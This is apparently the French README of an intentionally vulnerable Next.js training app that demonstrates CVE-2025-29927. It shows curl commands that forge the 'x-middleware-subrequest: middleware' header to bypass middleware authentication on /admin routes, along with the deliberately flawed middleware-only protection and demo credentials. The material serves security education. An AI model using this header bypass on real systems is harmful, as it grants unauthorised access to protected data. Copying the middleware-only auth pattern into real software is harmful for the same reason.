
AVERTISSEMENT : Cette application est volontairement vulnérable. À des fins éducatives et de recherche en sécurité autorisée uniquement. Ne déployez PAS sur un serveur public.
Cette application démontre CVE-2025-29927, une vulnérabilité critique de contournement de l'authentification dans le middleware Next.js (CVSS 9.1). Elle simule un panneau d'administration d'entreprise réaliste pour la société fictive « Himalaya Tech Pvt. Ltd. » — rendant l'impact du contournement visuellement parlant.
Tous les enregistrements d'employés, clés API, identifiants de base de données et autres données « sensibles » affichés sont entièrement fictifs et simulés — générés uniquement pour la démonstration éducative.
| Champ | Détail |
|---|---|
| ID CVE | CVE-2025-29927 |
| Sévérité | Critique (CVSS 9.1) |
| Versions affectées | Next.js ≤ 14.2.29, Next.js ≤ 15.2.2 |
| Corrigé dans | Next.js 14.2.30, 15.2.3 |
| Type | Contournement de l'authentification du middleware par manipulation d'en-tête HTTP |
Next.js utilise un en-tête HTTP interne x-middleware-subrequest pour suivre les appels
récursifs du middleware et empêcher les boucles infinies. Dans les versions vulnérables, un
attaquant peut falsifier cet en-tête dans une requête externe. Lorsque l'en-tête est présent
et correspond à l'identifiant du middleware, le runtime Next.js ignore entièrement le
middleware, y compris toute la logique d'authentification qui y est définie.
Toute application qui repose uniquement sur middleware.ts pour protéger ses routes (un modèle
Next.js courant et recommandé) est vulnérable. Un attaquant non authentifié peut accéder à
n'importe quelle page protégée en ajoutant simplement un en-tête HTTP.
curl -v http://localhost:3000/admin
# → 307 Redirect to /login
curl -v \
-H "x-middleware-subrequest: middleware" \
http://localhost:3000/admin
# → 200 OK — full admin dashboard HTML returned, no authentication required
# Admin users page
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/users
# System settings with "production credentials"
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/settings
Ajoutez l'en-tête de requête x-middleware-subrequest: middleware à toute requête vers
/admin/* et la vérification du middleware sera ignorée.
middleware.ts est le seul mécanisme de protection :
// middleware.ts
export function middleware(request: NextRequest) {
if (pathname.startsWith("/admin")) {
const token = request.cookies.get("auth-token")?.value;
if (!token || token !== "valid-session-xyz123") {
return NextResponse.redirect(loginUrl); // ← this entire function is skipped
}
}
return NextResponse.next();
}
Les composants de page eux-mêmes (par ex. app/admin/page.tsx) ne contiennent aucune
vérification d'authentification — volontairement, pour refléter les applications réelles qui
suivent le modèle de protection basé uniquement sur le middleware.
npm install
npm run dev
L'application sera disponible à l'adresse http://localhost:3000.
*Protégées uniquement par le middleware — contournées par CVE-2025-29927.
[email protected]Admin@2024Cette application est fournie uniquement à des fins éducatives, spécifiquement pour démontrer l'impact réel de CVE-2025-29927 dans le cadre d'un cours de sécurité éthique. Toutes les données (enregistrements d'employés, clés API, identifiants) sont entièrement fictives. N'utilisez pas cette application de démonstration ni les techniques démontrées ici contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.
| Route | Authentification requise | Description |
|---|
/ | Non | Page d'accueil publique |
/login | Non | Formulaire de connexion |
/admin | Oui* | Tableau de bord d'administration avec données sensibles |
/admin/users | Oui* | Gestion des utilisateurs |
/admin/settings | Oui* | Paramètres système et identifiants |